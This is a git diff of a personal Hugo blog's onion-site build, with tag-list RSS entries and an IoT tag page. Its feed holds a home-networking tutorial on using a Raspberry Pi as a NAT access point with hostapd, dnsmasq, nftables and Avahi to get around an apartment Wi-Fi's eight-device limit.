http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/security/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/security/ + + + + Tailscale + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tailscale/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tailscale/ + + + + Movienight + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/movienight/ + Sun, 21 Dec 2025 09:30:00 +0100 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/movienight/ + + + + Dnsmasq + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dnsmasq/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dnsmasq/ + + + + Hostapd + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hostapd/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hostapd/ + + + + Iot + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/iot/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/iot/ + + + + Networking + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/networking/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/networking/ + + + + Raspberry Pi + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberry-pi/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberry-pi/ + + + + Wifi + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/wifi/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/wifi/ + + + + E2ee + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/e2ee/ + + + + Email + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/email/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/email/ + + + + Gmail Cse + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/gmail-cse/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/gmail-cse/ + + + + Pgp + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/pgp/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/pgp/ + + + + Privacy + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privacy/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privacy/ + + + + Proton + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/proton/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/proton/ + + + + S/Mime + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/s/mime/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/s/mime/ + + + + Tuta + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tuta/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tuta/ + + + + Crime Fiction + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/crime-fiction/ + Sat, 25 Oct 2025 07:52:53 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/crime-fiction/ + + + + Family Tree + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/family-tree/ + Sat, 25 Oct 2025 07:52:53 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/family-tree/ + + + + Mafia + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/mafia/ + Sat, 25 Oct 2025 07:52:53 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/mafia/ + + + + Noir + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/noir/ + Sat, 25 Oct 2025 07:52:53 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/noir/ + + + + Comments + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/comments/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/comments/ + + + + Giscus + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/giscus/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/giscus/ + + + + Hugo + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hugo/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hugo/ + + + + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/papermod/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/papermod/ + + + + Rss + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/rss/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/rss/ + + + + Analytics + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/analytics/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/analytics/ + + + + Busuanzi + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/busuanzi/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/busuanzi/ + + + + Debugging + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/debugging/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/debugging/ + + + + GoatCounter + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/goatcounter/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/goatcounter/ + + + + Vercount + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vercount/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vercount/ + + + + Fabrication + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/fabrication/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/fabrication/ + + + + Flask + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/flask/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/flask/ + + + + Scd41 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/scd41/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/scd41/ + + + + Soldering + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/soldering/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/soldering/ + + + + Ws2812 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ws2812/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ws2812/ + + + + Geyser + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/geyser/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/geyser/ + + + + Lvm + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lvm/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lvm/ + + + + Minecraft + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/minecraft/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/minecraft/ + + + + Paper + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/paper/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/paper/ + + + + Letsencrypt + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/letsencrypt/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/letsencrypt/ + + + + Tor + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tor/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tor/ + + + + 3x-Ui + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/3x-ui/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/3x-ui/ + + + + Bypass + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/bypass/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/bypass/ + + + + Trojan + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/trojan/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/trojan/ + + + + VPN + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vpn/ + + + + Xray + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/xray/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/xray/ + + + + Hedgedoc + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hedgedoc/ + Fri, 29 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hedgedoc/ + + + + Coturn + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/coturn/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/coturn/ + + + + Element-Call + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/element-call/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/element-call/ + + + + Livekit + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/livekit/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/livekit/ + + + + Matrix + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/matrix/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/matrix/ + + + + Synapse + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/synapse/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/synapse/ + + + + Webrtc + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/webrtc/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/webrtc/ + + + + diff --git a/public-onion/tags/iot/index.html b/public-onion/tags/iot/index.html new file mode 100644 index 0000000..af87191 --- /dev/null +++ b/public-onion/tags/iot/index.html @@ -0,0 +1,379 @@ + + + + + + + +Iot | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) +

    +
    +
    +

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    +
    +
    November 23, 2025 · 18 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + Six looks of the INET LED logo +
    +
    +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server +

    +
    +
    +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    +
    +
    October 17, 2025 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/iot/index.xml b/public-onion/tags/iot/index.xml new file mode 100644 index 0000000..9fe92a2 --- /dev/null +++ b/public-onion/tags/iot/index.xml @@ -0,0 +1,1019 @@ + + + + Iot on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/iot/ + Recent content in Iot on AlipourIm journeys + Hugo -- 0.146.0 + en + Sun, 23 Nov 2025 00:00:00 +0000 + + + I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support. + The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
